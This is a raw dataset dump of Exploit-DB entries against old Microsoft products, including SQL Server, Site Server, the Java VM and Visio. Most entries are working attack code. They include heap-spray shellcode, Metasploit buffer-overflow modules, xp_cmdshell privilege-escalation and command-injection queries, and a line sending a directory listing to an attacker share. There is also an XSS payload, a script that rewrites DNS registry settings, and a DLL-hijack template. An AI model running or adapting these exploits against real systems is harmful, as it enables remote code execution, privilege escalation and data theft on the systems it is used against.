deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19208
Description: Microsoft Site Server Commerce Edition 3.0 alpha - AdSamples Sensitive Information
Type: remote
Platform: windows
Date: 1999-05-11
Author: Andrey Kruchkov

Exploit:
source: https://www.securityfocus.com/bid/256/info

A vulnerability in Microsoft Site Server's Ad Server Sample directory allows the retrieval of a site's configuration file (SITE.CSC) which contains sensitive information pertaining to an SQL database.

The AdSamples directory is a part of the Ad Server component of Site Server which can be installed optionally. If the sample directory is installed and access controls are not applied, any user can read the site's SITE.CSC file. This file can may contain the DSN, username and password to access the Site Server's SQL database. 

The URL below contains the syntax to view the SITE.CSC file in a default installation:

http://sitename/adsamples/config/site.csc

A text editor may be used to view the contents of the SITE.CSC file. This file may contain the DSN, username, and password used to access the related SQL database.
Exploit-DB #21718
Description: Microsoft SQL 2000/7.0 - Agent Jobs Privilege Escalation
Type: remote
Platform: windows
Date: 2002-08-15
Author: David Litchfield

Exploit:
source: https://www.securityfocus.com/bid/5483/info

Microsoft SQL Server 2000 uses an Agent which is responsible for restarting the SQL Server service, replication, and running scheduled jobs.

Some of the jobs that the Agent executes have weak permissions, which could allow a user with low permissions to perform actions on the database in the context of the SQL Server Service Account when used in conjunction with the Microsoft SQL Server Extended Stored Procedure Privilege Elevation Vulnerability

-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

The following proof of concept code supplied by David Litchfield <david@ngssoftware.com> will create a file called c:\sqlafc123.txt:

-- ArbitraryFileCreate
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th August 2002

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'
Exploit-DB #4398
Description: Microsoft SQL Server - Distributed Management Objects Buffer Overflow
Type: remote
Platform: windows
Date: 2007-09-12
Author: 96sysim

Exploit:
<!--

+ title: Microsoft SQL Server Distributed Management Objects Buffer Overflow
+ Critical: Critical (remote)
+ Impact: MS Internet Explorer 6 -> Code Execute
+ Tested Operating System: Windows XP SP2 KR, Windows 2000 Pro SP4 KR
+ Tested Software: MSDE 2000 SQLDMO.dll (version 2000.80.760.0)
+ Reference & Thanks : 
     code by rgod http://www.milw0rm.com/exploits/4379
     code by Trirat Puttaraksa http://www.milw0rm.com/exploits/2426
+ Author: 96sysim (sysim@nate.com)

-->

<html>
<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>

<SCRIPT language="javascript">
// Heap Spray 
// execute "calc.exe"
shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<501;i++) memory[i] = block + shellcode;
</SCRIPT>


<script language='vbscript'>
targetFile = "C:\Programmi\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
prototype  = "Sub Start ( ByVal StartMode As Boolean ,  [ ByVal Server As Variant ] ,  [ ByVal Login As Variant ] ,  [ ByVal Password As Variant ] )"
memberName = "Start"
progid     = "SQLDMO.SQLServer"
argCount   = 4

myseh        = unescape("%u0D0D%u0D0D")   // heap spray range - possible change
StartMode =True
Server    ="http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\DDDD\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaaaa" + myseh + "Dmmm" + edx + "nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\DDDD\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\"
Login     ="aaaaaaaa"
[CREDENTIAL_REDACTED]"

SQLServer.Start StartMode ,Server ,Login ,Password
</script>
</html>

# milw0rm.com [2007-09-12]
Exploit-DB #16398
Description: Microsoft SQL Server - Hello Overflow (MS02-056) (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: ms02_056_hello.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::MSSQL

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SQL Server Hello Overflow',
			'Description'    => %q{
					By sending malformed data to TCP port 1433, an
				unauthenticated remote attacker could overflow a buffer and
				possibly execute code on the server with SYSTEM level
				privileges. This module should work against any vulnerable
				SQL Server 2000 or MSDE install (< SP3).

			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2002-1123'],
					[ 'OSVDB', '10132'],
					[ 'BID', '5411'],
					[ 'MSB', 'MS02-056'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'MSSQL 2000 / MSDE <= SP2',
						{
							'Platform' => 'win',
							'Rets'     => [0x42b68aba, 0x42d01e50],
						},
					],
				],
			'Platform'       => 'win',
			'DisclosureDate' => 'Aug 5 2002',
			'DefaultTarget' => 0))
	end

	def check
		info = mssql_ping
		if (info['ServerName'])
			print_status("SQL Server Information:")
			info.each_pair { |k,v|
				print_status("   #{k + (" " * (15-k.length))} = #{v}")
			}
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
			"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
			"\x10\x00\x00\x00" +
			rand_text_english(528, payload_badchars) +
			"\x1B\xA5\xEE\x34" +
			rand_text_english(4, payload_badchars) +
			[ target['Rets'][0] ].pack('V') +
			[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
			'3333' +
			[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
			rand_text_english(88, payload_badchars) +
			payload.encoded +
			"\x00\x24\x01\x00\x00"

		sock.put(buf)

		handler
		disconnect
	end

end
Exploit-DB #16393
Description: Microsoft SQL Server - Resolution Overflow (MS02-039) (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: ms02_039_slammer.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::MSSQL

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SQL Server Resolution Overflow',
			'Description'    => %q{
					This is an exploit for the SQL Server 2000 resolution
				service buffer overflow. This overflow is triggered by
				sending a udp packet to port 1434 which starts with 0x04 and
				is followed by long string terminating with a colon and a
				number. This module should work against any vulnerable SQL
				Server 2000 or MSDE install (pre-SP3).

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2002-0649'],
					[ 'OSVDB', '4578'],
					[ 'BID', '5310'],
					[ 'MSB', 'MS02-039'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'MSSQL 2000 / MSDE <= SP2',
						{
							'Platform' => 'win',
							'Ret'      => 0x42b48774,
						},
					],
				],
			'Platform'       => 'win',
			'DisclosureDate' => 'Jul 24 2002',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(1434)
			], self.class)
	end


	def check
		info = mssql_ping
		if (info['ServerName'])
			print_status("SQL Server Information:")
			info.each_pair { |k,v|
				print_status("   #{k + (" " * (15-k.length))} = #{v}")
			}
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit

		connect_udp
		print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))
		print_status("Execute 'net start sqlserveragent' once access is obtained");

		# \x68:888 => push dword 0x3838383a
		buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"

		# Return to the stack pointer
		buf[ 97, 4] = [target.ret].pack('V')

		# Which lands right here
		buf[101, 6] = make_nops(6)

		# Jumps 8 bytes ahead
		buf[107, 2] = "\xeb\x08"

		# Write to thread storage space to avoid a crash
		buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')

		# And finally into the payload
		buf[117,payload.encoded.length] = payload.encoded

		udp_sock.put(buf)

		disconnect_udp
		handler
	end

end
Exploit-DB #21650
Description: Microsoft SQL Server 2000 - Database Consistency Checkers Buffer Overflow
Type: remote
Platform: windows
Date: 2002-07-25
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/5307/info

Microsoft SQL Server 2000 includes utilities called Database Consistency Checkers (DBCC). Several of these programs contain identical buffer overflows that, when exploited, could allow an attacker to execute arbitrary code with the privilege level of the SQL Server service account.

declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "' 
exec sp_MScopyscriptfile @scripfile ,''
Exploit-DB #21651
Description: Microsoft SQL Server 2000 - sp_MScopyscript SQL Injection
Type: remote
Platform: windows
Date: 2002-07-25
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/5309/info

The Microsoft SQL Server 2000 sp_MScopyscript stored procedure does not sufficiently validate input before passing it to the xp_cmdshell extended stored procedure. An attacker with the ability to execute a query or pass malicious input to a query may be able to execute operating system commands via xp_cmdshell with the privileges of the SQL Server. 

The sp_MScopyscript stored procedure may be executed by the 'public' role by default, so it is possible that a database user with privileges may potentially exploit this issue.

The Microsoft SQL Server must be configured to function as a distributor for this issue to be exploited. Certain other conditions must be satisfied for exploitation to succeed, such as the SQL Server running in the context of a domain user.

By supplying a malformed @scriptfile parameter an attacker can run arbitrary
commands:

use master
declare @cmd nvarchar(4000)
exec sp_MScopyscriptfile N'c:\autoexec.bat" c:\cp.txt&echo hello >
c:\ccc.bbb & echo "hello',@cmd OUTPUT
print @cmd

The above query will copy the autoexec.bat file to cp.txt but also echo hello to a file called ccc.bbb.
Exploit-DB #21541
Description: Microsoft SQL Server 2000 - SQLXML Script Injection
Type: remote
Platform: windows
Date: 2002-06-12
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5005/info

SQLXML is a component of SQL Server 2000, which enables SQL servers to receive and send database queries via XML (Extensible Markup Language) format. Such queries can be sent using various methods of communication, one of which is via HTTP. SQLXML HTTP components reside in a virtual directory on a web server and are not enabled by default.

It is possible, under some circumstances, to inject arbitrary script code via XML tags. This may allow an attacker to execute script code in the context of the Internet Explorer Security Zone associated with the IIS server running the vulnerable components.

It should be noted that successful exploitation of this vulnerability is highly conditional. Firstly, the victim of the attack must have access to an IIS server running vulnerable versions of the SQLXML HTTP components. The victim of the attack must also have sufficient privileges to pass queries to the underlying SQL server. Lastly, the attacker must also have knowledge of the virtual directory that has been set up on the IIS Server for SQLXML HTTP components. 

IIS-server/Northwind?sql=SELECT+contactname,+phone+FROM+Customers+FOR+XML&root=
<SCRIPT>alert(document.domain)</SCRIPT>
Exploit-DB #23034
Description: Microsoft URLScan 2.5/RSA Security SecurID 5.0 - Configuration Enumeration
Type: remote
Platform: windows
Date: 2003-08-14
Author: Andy Davis

Exploit:
source: https://www.securityfocus.com/bid/8419/info

A weakness has been discovered in Microsoft URLScan and RSA Security SecurID when used in conjunction on a web server. The problem is said to occur due to the order in which the products are placed within the global ISAPI filter list.

When the vulnerable configuration is in place, an attacker may be capable of enumerating the Microsoft URLScan extension filtering list by making repeated requests to files with differing extensions.

The enumeration of this type of information could potentially aid an attacker when launching further attacks against the target web server.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23034.tar.gz
Exploit-DB #20306
Description: Microsoft Virtual Machine - Arbitrary Java Codebase Execution
Type: remote
Platform: windows
Date: 2000-10-18
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/1812/info

An attacker may gain read access on remote systems by specifying a custom codebase in a Java applet, and delivering to the victim(s) via HTML email or a website. Any arbitrary codebase can be referenced by a java applet that was loaded by an <OBJECT> tag in conjunction with a jar file when using Microsoft Internet Explorer or Outlook/Outlook Express. This allows for the possibility of any known file to be read by a remote attacker.

<HTML>
<HEAD>
<TITLE>
Demo - IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs
</TITLE>
</HEAD>
<BODY>
Demo - IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs
<BR>
This page reads C:\TEST.TXT and displays the directory listing of C:\
<BR>
<A HREF="javacodebase1-desc.html">Advisory</A>
<BR>

<OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590>
<PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/gjavacodebase.jar">
<PARAM NAME="CODEBASE" VALUE="file:///c:/">
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</OBJECT>


<center>(C) Copyright 2000 Georgi Guninski</center>
<BR>
<center>
| <a href="http://www.guninski.com">Home</a> | 
<a href="browsers.html">Internet Explorer</a> | 
<a href="win2k.html">Windows 2000</a> | 
<a href="exploit.html">AIX</a> | 
<a href="netscape.html">Netscape</a> | 
<a href="greets.html">Greets</a> | 
<a href="index.html">More...</a> | 
</center>
</BODY>
</HTML>
Exploit-DB #19734
Description: Microsoft Virtual Machine 2000 - Series/3000 Series getSystemResource
Type: remote
Platform: windows
Date: 2000-01-31
Author: Hiromitsu Takagi

Exploit:
source: https://www.securityfocus.com/bid/957/info

Microsoft's Java Virtual Machine will allow the reading of local file information by a remote Java application. This can be done two ways:

1: Via the getSystemResourceAsStream() function. The filename must be specified, and must be in certain paths: the JVM 'home' directory, and any directory in the CLASSPATH environment variable. For IE 5 the home directory is the current user's desktop, for IE4 it is C:\ . The specified file can be read.

2: Via the getSystemResource() function. Unlike the first function, this one will accept the ../ string in the pathname, making it possible to access any file on the same drive as the Java installation. However, the file cannot be read, it is only possible to verify the existence or non-existence of a file by this method.

import java.awt.*;
import java.awt.event.*;
import java.io.*;
public class Test extends java.applet.Applet {
TextArea outputArea;
TextField filePathnameInputField;

public void init() {
setLayout(new BorderLayout());
outputArea = new TextArea();
add(BorderLayout.CENTER, outputArea);
filePathnameInputField = new TextField();
filePathnameInputField.setText("AUTOEXEC.BAT");
Panel p = new Panel();
p.setLayout(new BorderLayout());
add(BorderLayout.NORTH, p);
p.add(BorderLayout.CENTER, filePathnameInputField);
Button actionButton = new Button("Read It!");
p.add(BorderLayout.EAST, actionButton);
actionButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
new ActionThread().start();
}
});
}
class ActionThread extends Thread {
public void run() {
try {
String filePathname = filePathnameInputField.getText();
// InputStream is = getClass().getResourceAsStream(filePathname);
InputStream is = ClassLoader.getSystemResourceAsStream(filePathname);
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuffer buf = new StringBuffer();
while (true) {
String line = br.readLine();
if (line == null) break;
buf.append(line).append("\n");
}
outputArea.setText(new String(buf));
} catch (Exception e) {
outputArea.setText(e.toString());
}
}
}
}
Exploit-DB #20266
Description: Microsoft Virtual Machine 2000/3100/3200/3300 Series - 'com.ms.activeX.ActiveXComponent' Arbitrary Program Execution
Type: remote
Platform: windows
Date: 2000-10-05
Author: Marcin Jackowski

Exploit:
source: https://www.securityfocus.com/bid/1754/info

If a malicious website operator were to embed a specially crafted java object into a HTML document, it would be possible to execute arbitrary programs on a target host viewing the webpage through either Microsoft Internet Explorer or Outlook. The com.ms.activeX.ActiveXComponent java object inserted into an <APPLET> tag will allow the creation and scripting of arbitrary ActiveX objects even if they may present security hazards.

Even if Outlook has had the 'security update' applied, it is still possible to circumvent the disabling of active script execution through the use of java.

Execution of arbitrary programs could make it possible for the malicious website operator to gain rights equivalent to those of the current user. 

<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi3(){
try{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{

Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\SearchList","roots-servers.net");
}
catch(e){}
}
catch(e){}
}
setTimeout("yuzi3()",1000);
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi2(){
try{
a2=document.applets[0];a2.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a2.createInstance();Shl =
a2.GetObject();a2.setCLSID("{0D43FE01-F093-11CF-89400-0A0C9054228}");
try{

Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\EnableDns","1");
}
catch(e){}
}
catch(e){}
}setTimeout("yuzi2()",1000);
</script>
Exploit-DB #34832
Description: Microsoft Visio 2007 - 'mfc80esn.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-10-10
Author: Pepelux

Exploit:
// source: https://www.securityfocus.com/bid/43914/info

Microsoft Visio is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Microsoft Visio 2007 is vulnerable; other versions may also be affected. 

/*
=========================================================
Microsoft Visio 2007 DLL Hijacking Exploit (mfc80esn.dll) 
=========================================================

$ Program: MS Visio
$ Version: 2007
$ Download: http://office.microsoft.com/es-es/downloads/CH010225969.aspx
$ Date: 2010/10/08
 
Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org

Tested on: Windows XP SP2 && Windows XP SP3

How  to use : 

1> Compile this code as mfc80esn.dll
	gcc -shared -o mfc80esn.dll thiscode.c
2> Move DLL file to the directory where Visio is installed
3> Open any file recognized by msvisio
*/


#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
}
BOOL WINAPI  DllMain (
			HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
			{mes();}